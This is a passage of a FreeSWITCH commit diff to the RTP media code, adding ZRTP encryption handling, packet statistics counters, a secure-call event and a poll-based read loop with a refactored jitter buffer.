 	case AES_CM_128_NULL_AUTH:
 		crypto_policy_set_aes_cm_128_null_auth(&policy->rtp);
+		if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
+			switch_channel_set_variable(channel, "sip_has_crypto", "AES_CM_128_NULL_AUTH");
+		}
 		break;
 	default:
 		break;
@@ -764,6 +1024,13 @@
 		break;
 	}
 
+	if (switch_event_create(&fsevent, SWITCH_EVENT_CALL_SECURE) == SWITCH_STATUS_SUCCESS) {
+		switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, "secure_type", "srtp:%s", switch_channel_get_variable(channel, "sip_has_crypto"));
+		switch_event_add_header_string(fsevent, SWITCH_STACK_BOTTOM, "caller-unique-id", switch_channel_get_uuid(channel));
+		switch_event_fire(&fsevent);
+	}
+
+
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -830,7 +1097,7 @@
 
 
 	rtp_session->seq = (uint16_t) rand();
-	rtp_session->ssrc = (uint32_t) ((intptr_t) &rtp_session + (uint32_t) switch_timestamp(NULL));
+	rtp_session->ssrc = (uint32_t) ((intptr_t) &rtp_session + (uint32_t) switch_epoch_time_now(NULL));
 	rtp_session->send_msg.header.ssrc = htonl(rtp_session->ssrc);
 	rtp_session->send_msg.header.ts = 0;
 	rtp_session->send_msg.header.m = 0;
@@ -869,7 +1136,7 @@
 
 		if (switch_core_timer_init(&rtp_session->timer, timer_name, ms_per_packet / 1000, samples_per_interval, pool) == SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-							  "Starting timer [%s] %d bytes per %dms\n", timer_name, samples_per_interval, ms_per_packet);
+							  "Starting timer [%s] %d bytes per %dms\n", timer_name, samples_per_interval, ms_per_packet / 1000);
 		} else {
 			memset(&rtp_session->timer, 0, sizeof(rtp_session->timer));
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error starting timer [%s], async RTP disabled\n", timer_name);
@@ -881,6 +1148,54 @@
 		switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
 	}
 
+#ifdef ENABLE_ZRTP
+	if (zrtp_on) {
+		int initiator = 0;
+		switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
+		switch_channel_t *channel = switch_core_session_get_channel(session);
+		const char *zrtp_enabled = switch_channel_get_variable(channel, "zrtp_secure_media");
+		const char *srtp_enabled = switch_channel_get_variable(channel, "sip_secure_media");
+
+		if (switch_true(srtp_enabled) && switch_true(zrtp_enabled)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "You can not have ZRTP and SRTP enabled simultaneously, ZRTP will be disabled for this call!\n");
+			switch_channel_set_variable(channel, "zrtp_secure_media", NULL);
+			zrtp_enabled = NULL;
+		}
+
+		if (switch_true(zrtp_enabled)) {
+			if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
+				initiator = 1;
+			}
+			
+			rtp_session->zrtp_profile = switch_core_alloc(rtp_session->pool, sizeof(*rtp_session->zrtp_profile));
+			zrtp_profile_defaults(rtp_session->zrtp_profile, zrtp_global);
+			
+			rtp_session->zrtp_profile->allowclear = 0;
+			rtp_session->zrtp_profile->disclose_bit = 0;
+			rtp_session->zrtp_profile->cache_ttl = -1;
+			
+			if (zrtp_status_ok != zrtp_session_init(zrtp_global, rtp_session->zrtp_profile, zid, initiator, &rtp_session->zrtp_session)) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error! zRTP INIT Failed\n");
+				zrtp_session_down(rtp_session->zrtp_session);
+				rtp_session->zrtp_session = NULL;
+			}
+			
+			zrtp_session_set_userdata(rtp_session->zrtp_session, rtp_session);
+			
+			if (zrtp_status_ok != zrtp_stream_attach(rtp_session->zrtp_session, &rtp_session->zrtp_ctx)) {
+				abort();
+			}
+			zrtp_stream_set_userdata(rtp_session->zrtp_ctx, rtp_session);
+			
+			if (switch_true(switch_channel_get_variable(channel, "zrtp_enrollment"))) {
+				zrtp_stream_registration_start(rtp_session->zrtp_ctx, rtp_session->ssrc);
+			} else {
+				zrtp_stream_start(rtp_session->zrtp_ctx, rtp_session->ssrc);
+			}
+		}
+	}
+#endif	
+
 	rtp_session->ready = 1;
 	*new_rtp_session = rtp_session;
 
@@ -988,7 +1303,9 @@
 
 SWITCH_DECLARE(switch_status_t) switch_rtp_activate_jitter_buffer(switch_rtp_t *rtp_session, uint32_t queue_frames)
 {
+
 	rtp_session->jb = stfu_n_init(queue_frames);
+
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -1132,7 +1449,23 @@
 		(*rtp_session)->recv_ctx = NULL;
 		switch_clear_flag((*rtp_session), SWITCH_RTP_FLAG_SECURE_RECV);
 	}
+#ifdef ENABLE_ZRTP
+	/* ZRTP */
+	if (zrtp_on) {
+		if (switch_test_flag((*rtp_session), SWITCH_ZRTP_FLAG_SECURE_SEND)) {
+			switch_clear_flag((*rtp_session), SWITCH_ZRTP_FLAG_SECURE_SEND);
+		}
 
+		if (switch_test_flag((*rtp_session), SWITCH_ZRTP_FLAG_SECURE_RECV)) {
+			switch_clear_flag((*rtp_session), SWITCH_ZRTP_FLAG_SECURE_RECV);
+		}
+
+		if ((*rtp_session)->zrtp_session) {
+			zrtp_session_down((*rtp_session)->zrtp_session);
+			(*rtp_session)->zrtp_session = NULL;
+		}
+	}
+#endif
 	if ((*rtp_session)->timer.timer_interface) {
 		switch_core_timer_destroy(&(*rtp_session)->timer);
 	}
@@ -1216,8 +1549,14 @@
 		rtp_session->dtmf_data.out_digit_packet[3] = (unsigned char) rtp_session->dtmf_data.out_digit_sub_sofar;
 
 		for (x = 0; x < loops; x++) {
-			switch_rtp_write_manual(rtp_session,
-									rtp_session->dtmf_data.out_digit_packet, 4, 0, rtp_session->te, rtp_session->dtmf_data.timestamp_dtmf, &flags);
+			switch_size_t wrote = switch_rtp_write_manual(rtp_session,
+														  rtp_session->dtmf_data.out_digit_packet, 4, 0, 
+														  rtp_session->te, rtp_session->dtmf_data.timestamp_dtmf, &flags);
+
+			rtp_session->stats.outbound.raw_bytes += wrote;
+			rtp_session->stats.outbound.dtmf_packet_count++;
+
+
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Send %s packet for [%c] ts=%u dur=%d/%d/%d seq=%d\n",
 							  loops == 1 ? "middle" : "end", rtp_session->dtmf_data.out_digit,
 							  rtp_session->dtmf_data.timestamp_dtmf,
@@ -1251,7 +1590,7 @@
 		if (switch_queue_trypop(rtp_session->dtmf_data.dtmf_queue, &pop) == SWITCH_STATUS_SUCCESS) {
 			switch_dtmf_t *rdigit = pop;
 			int64_t offset;
-
+			switch_size_t wrote;
 			rtp_session->sending_dtmf = 1;
 
 			memset(rtp_session->dtmf_data.out_digit_packet, 0, 4);
@@ -1272,13 +1611,16 @@
 					rtp_session->dtmf_data.timestamp_dtmf = (uint32_t) (rtp_session->dtmf_data.timestamp_dtmf + offset);
 				}
 			}
+			
+			wrote = switch_rtp_write_manual(rtp_session,
+											rtp_session->dtmf_data.out_digit_packet,
+											4,
+											rtp_session->rtp_bugs & RTP_BUG_CISCO_SKIP_MARK_BIT_2833 ? 0 : 1,
+											rtp_session->te, rtp_session->dtmf_data.timestamp_dtmf, &flags);
+			
+			rtp_session->stats.outbound.raw_bytes += wrote;
+			rtp_session->stats.outbound.dtmf_packet_count++;
 
-			switch_rtp_write_manual(rtp_session,
-									rtp_session->dtmf_data.out_digit_packet,
-									4,
-									rtp_session->rtp_bugs & RTP_BUG_CISCO_SKIP_MARK_BIT_2833 ? 0 : 1,
-									rtp_session->te, rtp_session->dtmf_data.timestamp_dtmf, &flags);
-
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Send start packet for [%c] ts=%u dur=%d/%d/%d seq=%d\n",
 							  rtp_session->dtmf_data.out_digit,
 							  rtp_session->dtmf_data.timestamp_dtmf,
@@ -1290,10 +1632,20 @@
 	}
 }
 
-SWITCH_DECLARE(void) rtp_flush_read_buffer(switch_rtp_t *rtp_session)
+SWITCH_DECLARE(void) rtp_flush_read_buffer(switch_rtp_t *rtp_session, switch_rtp_flush_t flush)
 {
 	if (switch_rtp_ready(rtp_session) && !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA)) {
 		switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_FLUSH);
+		switch (flush) {
+		case SWITCH_RTP_FLUSH_STICK:
+			switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_STICKY_FLUSH);
+			break;
+		case SWITCH_RTP_FLUSH_UNSTICK:
+			switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_STICKY_FLUSH);
+			break;
+		default:
+			break;
+		}
 	}
 }
 
@@ -1320,6 +1672,11 @@
 			if (switch_rtp_ready(rtp_session)) {
 				bytes = sizeof(rtp_msg_t);
 				status = switch_socket_recvfrom(rtp_session->from_addr, rtp_session->sock_input, 0, (void *) &rtp_session->recv_msg, &bytes);
+				if (bytes) {
+					rtp_session->stats.inbound.raw_bytes += bytes;
+					rtp_session->stats.inbound.flush_packet_count++;
+					rtp_session->stats.inbound.packet_count++;
+				}
 			} else {
 				break;
 			}
@@ -1336,14 +1693,69 @@
 
 #define return_cng_frame() do_cng = 1; goto timer_check
 
+static switch_status_t read_rtp_packet(switch_rtp_t *rtp_session, switch_size_t *bytes, switch_frame_flag_t *flags)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	stfu_frame_t *jb_frame;
+	
+	switch_assert(bytes);
+
+	*bytes = sizeof(rtp_msg_t);
+	status = switch_socket_recvfrom(rtp_session->from_addr, rtp_session->sock_input, 0, (void *) &rtp_session->recv_msg, bytes);
+
+	if (*bytes) {
+		rtp_session->stats.inbound.raw_bytes += *bytes;
+		if (rtp_session->te && rtp_session->recv_msg.header.pt == rtp_session->te) {
+			rtp_session->stats.inbound.dtmf_packet_count++;
+		} else if (rtp_session->cng_pt && (rtp_session->recv_msg.header.pt == rtp_session->cng_pt || rtp_session->recv_msg.header.pt == 13)) {
+			rtp_session->stats.inbound.cng_packet_count++;
+		} else {
+			rtp_session->stats.inbound.media_packet_count++;
+			rtp_session->stats.inbound.media_bytes += *bytes;
+		}
+		
+		rtp_session->stats.inbound.packet_count++;
+	}
+
+	if (rtp_session->jb && rtp_session->recv_msg.header.version == 2 && *bytes) {
+		if (rtp_session->recv_msg.header.m && rtp_session->recv_msg.header.pt != rtp_session->te) {
+			stfu_n_reset(rtp_session->jb);
+		}
+		
+		stfu_n_eat(rtp_session->jb, ntohl(rtp_session->recv_msg.header.ts), rtp_session->recv_msg.body, *bytes - rtp_header_len);				
+		*bytes = 0;
+		status = SWITCH_STATUS_FALSE;
+	}
+
+	if (rtp_session->jb) {
+		if ((jb_frame = stfu_n_read_a_frame(rtp_session->jb))) {
+			memcpy(rtp_session->recv_msg.body, jb_frame->data, jb_frame->dlen);
+			if (jb_frame->plc) {
+				*flags |= SFF_PLC;
+			} else {
+				rtp_session->stats.inbound.jb_packet_count++;
+			}
+			*bytes = jb_frame->dlen + rtp_header_len;
+			rtp_session->recv_msg.header.ts = htonl(jb_frame->ts);
+			rtp_session->recv_msg.header.pt = rtp_session->payload;
+			status = SWITCH_STATUS_SUCCESS;
+		}
+	}
+
+	return status;
+}
+
 static int rtp_common_read(switch_rtp_t *rtp_session, switch_payload_t *payload_type, switch_frame_flag_t *flags, switch_io_flag_t io_flags)
 {
 	switch_size_t bytes = 0;
-	switch_status_t status;
+	switch_status_t status = SWITCH_STATUS_SUCCESS, poll_status = SWITCH_STATUS_SUCCESS;
 	int check = 0;
-	stfu_frame_t *jb_frame;
 	int ret = -1;
 	int sleep_mss = 1000;
+	int poll_sec = 5;
+	int poll_loop = 0;
+	int fdr = 0;
+	int hot_socket = 0;
 
 	if (!switch_rtp_ready(rtp_session)) {
 		return -1;
@@ -1351,8 +1763,6 @@
 
 	if (rtp_session->timer.interval) {
 		sleep_mss = rtp_session->timer.interval * 1000;
-	} else {
-		rtp_session->last_time = switch_time_now();
 	}
 
 	READ_INC(rtp_session);
@@ -1361,14 +1771,47 @@
 		int do_cng = 0;
 
 		if (rtp_session->timer.interval) {
-			switch_core_timer_next(&rtp_session->timer);
+			if ((switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTOFLUSH) || switch_test_flag(rtp_session, SWITCH_RTP_FLAG_STICKY_FLUSH)) &&
+				rtp_session->read_pollfd) {
+				if (switch_poll(rtp_session->read_pollfd, 1, &fdr, 1) == SWITCH_STATUS_SUCCESS) {
+					if (++rtp_session->hot_hits >= 10) {
+						hot_socket = 1;
+					}
+				} else {
+					rtp_session->hot_hits = 0;
+				}
+			}
+
+			if (hot_socket) {
+				switch_core_timer_sync(&rtp_session->timer);
+			} else {
+				switch_core_timer_next(&rtp_session->timer);
+			}
 		}
 
 	recvfrom:
 
-		bytes = sizeof(rtp_msg_t);
-		status = switch_socket_recvfrom(rtp_session->from_addr, rtp_session->sock_input, 0, (void *) &rtp_session->recv_msg, &bytes);
+		if (!switch_rtp_ready(rtp_session)) {
+			break;
+		}
 
+		if (!rtp_session->timer.interval && rtp_session->read_pollfd) {
+			poll_status = switch_poll(rtp_session->read_pollfd, 1, &fdr, poll_sec * 1000000);
+		} 
+		
+		if (poll_status == SWITCH_STATUS_SUCCESS) {
+			status = read_rtp_packet(rtp_session, &bytes, flags);
+		} else {
+			if (!SWITCH_STATUS_IS_BREAK(poll_status) && poll_status != SWITCH_STATUS_TIMEOUT) {
+				ret = -1;
+				goto end;
+			}
+
+			poll_loop = 1;
+			rtp_session->missed_count += (poll_sec * 1000 ) / (rtp_session->ms_per_packet ? rtp_session->ms_per_packet : 20 / 1000);
+			bytes = 0;
+		}
+
 		if (bytes < 0) {
 			ret = (int) bytes;
 			goto end;
@@ -1402,8 +1845,12 @@
 			continue;
 		}
 
+		if (!bytes && poll_loop) {
+			goto recvfrom;
+		}
+		
 		if (bytes && rtp_session->recv_msg.header.m && rtp_session->recv_msg.header.pt != rtp_session->te) {
-			rtp_flush_read_buffer(rtp_session);
+			rtp_flush_read_buffer(rtp_session, SWITCH_RTP_FLUSH_ONCE);
 		}
 
 		if (bytes && switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTOADJ) && switch_sockaddr_get_port(rtp_session->from_addr)) {
@@ -1452,7 +1899,7 @@
 
 		if (!bytes && (io_flags & SWITCH_IO_FLAG_NOBLOCK)) {
 			return_cng_frame();
-		}
+	}
 
 		
 		if (check && switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTO_CNG) &&
@@ -1471,11 +1918,19 @@
 		if (bytes && rtp_session->recv_msg.header.version != 2) {
 			uint8_t *data = (uint8_t *) rtp_session->recv_msg.body;
 			if (rtp_session->recv_msg.header.version == 0) {
-				if (rtp_session->ice_user) {
-					handle_ice(rtp_session, (void *) &rtp_session->recv_msg, bytes);
-				} else if (rtp_session->remote_stun_addr) {
-					handle_stun_ping_reply(rtp_session, (void *) &rtp_session->recv_msg, bytes);
+#ifdef ENABLE_ZRTP
+				if (zrtp_on && ZRTP_PACKETS_MAGIC == zrtp_ntoh32(rtp_session->recv_msg.header.ts)) {
+					zrtp_handler(rtp_session, rtp_session->sock_input, (void *) &rtp_session->recv_msg, bytes, rtp_session->from_addr);
+				} else {
+#endif
+					if (rtp_session->ice_user) {
+						handle_ice(rtp_session, (void *) &rtp_session->recv_msg, bytes);
+					} else if (rtp_session->remote_stun_addr) {
+						handle_stun_ping_reply(rtp_session, (void *) &rtp_session->recv_msg, bytes);
+					}
+#ifdef ENABLE_ZRTP
 				}
+#endif
 			}
 
 			if (rtp_session->invalid_handler) {
@@ -1492,30 +1947,6 @@
 			goto end;
 		}
 
-		if (rtp_session->jb && ((bytes && rtp_session->recv_msg.header.pt == rtp_session->payload) || check)) {
-			if (bytes) {
-				if (rtp_session->recv_msg.header.m) {
-					stfu_n_reset(rtp_session->jb);
-				}
-
-				stfu_n_eat(rtp_session->jb, ntohl(rtp_session->recv_msg.header.ts), rtp_session->recv_msg.body, bytes - rtp_header_len);
-				bytes = 0;
-			}
-
-			if ((jb_frame = stfu_n_read_a_frame(rtp_session->jb))) {
-				memcpy(rtp_session->recv_msg.body, jb_frame->data, jb_frame->dlen);
-				if (jb_frame->plc) {
-					*flags |= SFF_PLC;
-				}
-				bytes = jb_frame->dlen + rtp_header_len;
-				rtp_session->recv_msg.header.ts = htonl(jb_frame->ts);
-				rtp_session->recv_msg.header.pt = rtp_session->payload;
-			} else {
-				goto timer_check;
-			}
-		}
-
-
 		if (bytes && switch_test_flag(rtp_session, SWITCH_RTP_FLAG_SECURE_RECV)) {
 			int sbytes = (int) bytes;
 			err_status_t stat = 0;
@@ -1554,6 +1985,30 @@
 			bytes = sbytes;
 		}
 
+#ifdef ENABLE_ZRTP
+		/* ZRTP Recv */
+		if (bytes && switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_RECV)) {
+			unsigned int sbytes = (int) bytes;
+			zrtp_status_t stat = 0;
+			
+			stat = zrtp_process_srtp(rtp_session->zrtp_ctx, (void *)&rtp_session->recv_msg, &sbytes);
+			
+			switch (stat) {
+			case zrtp_status_ok:
+				break;
+			case zrtp_status_drop:
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error: zRTP protection drop with code %d\n", stat);
+				break;
+			case zrtp_status_fail:
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error: zRTP protection fail with code %d\n", stat);
+				ret = -1;
+				goto end;
+			default:
+				break;
+			}
+			bytes = sbytes;
+		}
+#endif
 
 #ifdef DEBUG_2833
 		if (rtp_session->dtmf_data.in_digit_sanity && !(rtp_session->dtmf_data.in_digit_sanity % 100)) {
@@ -1645,11 +2100,13 @@
 				}
 
 				rtp_session->dtmf_data.last_duration = duration;
+			} else {
 #ifdef DEBUG_2833
-			} else {
 				printf("drop: %c %u %u %u %u %d %d\n", 
 					   key, in_digit_seq, rtp_session->dtmf_data.in_digit_seq, ts, duration, rtp_session->recv_msg.header.m, end);
 #endif
+				switch_cond_next();
+				goto recvfrom;
 			}
 		}
 		
@@ -1665,24 +2122,24 @@
 
 		if (do_cng) {
 			uint8_t *data = (uint8_t *) rtp_session->recv_msg.body;
+			int fdr;
+			
+			if ((poll_status = switch_poll(rtp_session->read_pollfd, 1, &fdr, 1)) == SWITCH_STATUS_SUCCESS) {
+				goto recvfrom;
+			}
+
 			memset(data, 0, 2);
 			data[0] = 65;
 			rtp_session->recv_msg.header.pt = (uint32_t) rtp_session->cng_pt ? rtp_session->cng_pt : SWITCH_RTP_CNG_PAYLOAD;
 			*flags |= SFF_CNG;
 			*payload_type = (switch_payload_t) rtp_session->recv_msg.header.pt;
 			ret = 2 + rtp_header_len;
+			rtp_session->stats.inbound.skip_packet_count++;
 			goto end;
 		}
 
 		if (check || (bytes && !rtp_session->timer.interval)) {
-			if (rtp_session->jb && (jb_frame = stfu_n_read_a_frame(rtp_session->jb))) {
-				memcpy(rtp_session->recv_msg.body, jb_frame->data, jb_frame->dlen);
-				if (jb_frame->plc) {
-					*flags |= SFF_PLC;
-				}
-				bytes = jb_frame->dlen + rtp_header_len;
-				rtp_session->recv_msg.header.ts = htonl(jb_frame->ts);
-			} else if (!bytes && switch_test_flag(rtp_session, SWITCH_RTP_FLAG_USE_TIMER)) {	/* We're late! We're Late! */
+			if (!bytes && switch_test_flag(rtp_session, SWITCH_RTP_FLAG_USE_TIMER)) {	/* We're late! We're Late! */
 				if (!switch_test_flag(rtp_session, SWITCH_RTP_FLAG_NOBLOCK) && status == SWITCH_STATUS_BREAK) {
 					switch_cond_next();
 					continue;
@@ -1764,6 +2221,7 @@
 		*dtmf = *_dtmf;
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "RTP RECV DTMF %c:%d\n", dtmf->digit, dtmf->duration);
 		bytes++;
+		free(pop);
 	}
 	switch_mutex_unlock(rtp_session->dtmf_data.dtmf_mutex);
 
@@ -1868,10 +2326,29 @@
 		switch_set_flag(frame, SFF_RFC2833);
 	}
 	frame->timestamp = ntohl(rtp_session->recv_msg.header.ts);
-	frame->seq = (uint16_t) ntohs((u_short) rtp_session->recv_msg.header.seq);
+	frame->seq = (uint16_t) ntohs((uint16_t) rtp_session->recv_msg.header.seq);
 	frame->ssrc = ntohl(rtp_session->recv_msg.header.ssrc);
 	frame->m = rtp_session->recv_msg.header.m ? SWITCH_TRUE : SWITCH_FALSE;
 
+#ifdef ENABLE_ZRTP
+	if (zrtp_on && switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV)) {
+		zrtp_session_info_t zrtp_session_info;
+
+		if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) { 
+			if (zrtp_session_info.sas_is_ready) {    
+				frame->extra_data = rtp_session->zrtp_ctx;
+				switch_set_flag(frame, SFF_ZRTP);
+				if (rtp_session->zrtp_mitm_tries > ZRTP_MITM_TRIES) {
+					zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid, 
+									  &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
+					switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_RECV);
+				}
+				rtp_session->zrtp_mitm_tries++;
+			}
+		}
+	}
+#endif
+
 	if (bytes < 0) {
 		frame->datalen = 0;
 		return bytes == -2 ? SWITCH_STATUS_TIMEOUT : SWITCH_STATUS_GENERR;
@@ -1962,12 +2439,12 @@
 		}
 
 		if (rtp_session->timer.interval && 
-			(rtp_session->timer.samplecount - rtp_session->last_write_samplecount) > rtp_session->samples_per_interval * 2) {
+			(rtp_session->timer.samplecount - rtp_session->last_write_samplecount) > rtp_session->samples_per_interval * 10) {
 			m++;
 		}
 
 		if (!rtp_session->timer.interval && 
-			((unsigned)((switch_timestamp_now() - rtp_session->last_write_timestamp))) > (rtp_session->ms_per_packet *2)) {
+			((unsigned)((switch_micro_time_now() - rtp_session->last_write_timestamp))) > (rtp_session->ms_per_packet * 10)) {
 			m++;
 		}
 
@@ -1995,7 +2472,7 @@
 		uint32_t rate = 0;
 		uint32_t codec_flags = 0;
 		uint32_t len = sizeof(decoded);
-		time_t now = switch_timestamp(NULL);
+		time_t now = switch_epoch_time_now(NULL);
 		send = 0;
 
 		if (rtp_session->vad_data.scan_freq && rtp_session->vad_data.next_scan <= now) {
@@ -2122,17 +2599,61 @@
 
 			bytes = sbytes;
 		}
+#ifdef ENABLE_ZRTP
+		/* ZRTP Send */
+		if (switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_SEND)) {
+			unsigned int sbytes = (int) bytes;
+			zrtp_status_t stat = zrtp_status_fail;
+			
+			stat = zrtp_process_rtp(rtp_session->zrtp_ctx, (void*)send_msg, &sbytes);
 
+			switch (stat) {
+			case zrtp_status_ok:
+				break;
+			case zrtp_status_drop:
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error: zRTP protection drop with code %d\n", stat);
+				break;
+			case zrtp_status_fail:
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error: zRTP protection fail with code %d\n", stat);
+				break;
+			default:
+				break;
+			}
+			
+			bytes = sbytes;
+		}
+#endif
+
+#ifdef RTP_DEBUG_WRITE_DELTA
+		{
+			switch_time_t now = switch_time_now();
+			int delta = (int) (now - rtp_session->send_time) / 1000;
+			printf("WRITE %d delta %d\n", (int)bytes, delta);
+			rtp_session->send_time = now;
+		}
+#endif
+
+
 		if (switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_addr, 0, (void *) send_msg, &bytes) != SWITCH_STATUS_SUCCESS) {
 			rtp_session->seq--;
 			ret = -1;
 			goto end;
 		}
 
+		rtp_session->stats.outbound.raw_bytes += bytes;
+		rtp_session->stats.outbound.packet_count++;
+
+		if (send_msg->header.pt == rtp_session->cng_pt) {
+			rtp_session->stats.outbound.cng_packet_count++;
+		} else {
+			rtp_session->stats.outbound.media_packet_count++;
+			rtp_session->stats.outbound.media_bytes += bytes;
+		}
+
 		if (rtp_session->timer.interval) {
 			rtp_session->last_write_samplecount = rtp_session->timer.samplecount;
 		} else {
-			rtp_session->last_write_timestamp = (uint32_t) switch_timestamp_now();
+			rtp_session->last_write_timestamp = (uint32_t) switch_micro_time_now();
 		}
 
 		rtp_session->last_write_ts = this_ts;
@@ -2209,7 +2730,7 @@
 	rtp_session->vad_data.cng_freq = 50;
 	rtp_session->vad_data.ts = 1;
 	rtp_session->vad_data.start = 0;
-	rtp_session->vad_data.next_scan = switch_timestamp(NULL);
+	rtp_session->vad_data.next_scan = switch_epoch_time_now(NULL);
 	rtp_session->vad_data.scan_freq = 0;
 	switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_VAD);
 	switch_set_flag(&rtp_session->vad_data, SWITCH_VAD_FLAG_CNG);
@@ -2239,10 +2760,34 @@
 		if (switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_addr, 0, frame->packet, &bytes) != SWITCH_STATUS_SUCCESS) {
 			return -1;
 		}
+
+		rtp_session->stats.outbound.raw_bytes += bytes;
+		rtp_session->stats.outbound.media_bytes += bytes;
+		rtp_session->stats.outbound.media_packet_count++;
+		rtp_session->stats.outbound.packet_count++;
+
 		return (int) bytes;
 	}
 
+#ifdef ENABLE_ZRTP
+	if (zrtp_on && switch_test_flag(frame, SFF_ZRTP) && switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND)) {
+		zrtp_session_info_t zrtp_session_info;
 
+		if (zrtp_status_ok == zrtp_session_get(rtp_session->zrtp_session, &zrtp_session_info)) { 
+			if (zrtp_session_info.sas_is_ready) {    
+				if (rtp_session->zrtp_mitm_tries > ZRTP_MITM_TRIES) {
+					switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
+				} else if(zrtp_status_ok == zrtp_resolve_mitm_call(frame->extra_data, rtp_session->zrtp_ctx)) {
+					switch_clear_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_MITM_SEND);
+					zrtp_verified_set(zrtp_global, &rtp_session->zrtp_session->zid, 
+									  &rtp_session->zrtp_session->peer_zid, zrtp_session_info.sas_is_verified^1);
+					rtp_session->zrtp_mitm_tries++;
+				}
+			}
+		}
+	}
+#endif
+
 	fwd = (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_RAW_WRITE) && switch_test_flag(frame, SFF_RAW_RTP)) ? 1 : 0;
 
 	switch_assert(frame != NULL);
@@ -2254,7 +2799,13 @@
 	}
 
 	if (switch_test_flag(frame, SFF_RTP_HEADER)) {
-		return switch_rtp_write_manual(rtp_session, frame->data, frame->datalen, frame->m, frame->payload, (uint32_t) (frame->timestamp), &frame->flags);
+		switch_size_t wrote = switch_rtp_write_manual(rtp_session, frame->data, frame->datalen, 
+													  frame->m, frame->payload, (uint32_t) (frame->timestamp), &frame->flags);
+
+		rtp_session->stats.outbound.raw_bytes += wrote;
+		rtp_session->stats.outbound.media_bytes += wrote;
+		rtp_session->stats.outbound.media_packet_count++;
+		rtp_session->stats.outbound.packet_count++;
 	}
 
 	if (fwd) {
@@ -2273,6 +2824,20 @@
 	return rtp_common_write(rtp_session, send_msg, data, len, payload, ts, &frame->flags);
 }
 
+SWITCH_DECLARE(switch_rtp_stats_t *) switch_rtp_get_stats(switch_rtp_t *rtp_session, switch_memory_pool_t *pool)
+{
+	switch_rtp_stats_t *s;
+
+	if (pool) {
+		s = switch_core_alloc(pool, sizeof(*s));
+		*s = rtp_session->stats;
+	} else {
+		s = &rtp_session->stats;
+	}
+
+	return s;
+}
+
 SWITCH_DECLARE(int) switch_rtp_write_manual(switch_rtp_t *rtp_session,
 											void *data, uint32_t datalen, uint8_t m, switch_payload_t payload, uint32_t ts, switch_frame_flag_t *flags)
 {
@@ -2317,7 +2882,30 @@
 		}
 		bytes = sbytes;
 	}
-
+#ifdef ENABLE_ZRTP
+	/* ZRTP Send */
+	if (switch_test_flag(rtp_session, SWITCH_ZRTP_FLAG_SECURE_SEND)) {
+		unsigned int sbytes = (int) bytes;
+		zrtp_status_t stat = zrtp_status_fail;
+		
+		stat = zrtp_process_rtp(rtp_session->zrtp_ctx, (void*)&rtp_session->write_msg, &sbytes);
+		
+		switch (stat) {
+		case zrtp_status_ok:
+			break;
+		case zrtp_status_drop:
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error: zRTP protection drop with code %d\n", stat);
+			break;
+		case zrtp_status_fail:
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error: zRTP protection fail with code %d\n", stat);
+			break;
+		default:
+			break;
+		}
+		
+		bytes = sbytes;
+	}
+#endif
 	if (switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_addr, 0, (void *) &rtp_session->write_msg, &bytes) != SWITCH_STATUS_SUCCESS) {
 		rtp_session->seq--;
 		ret = -1;

Modified: freeswitch/branches/seven/src/switch_scheduler.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_scheduler.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_scheduler.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
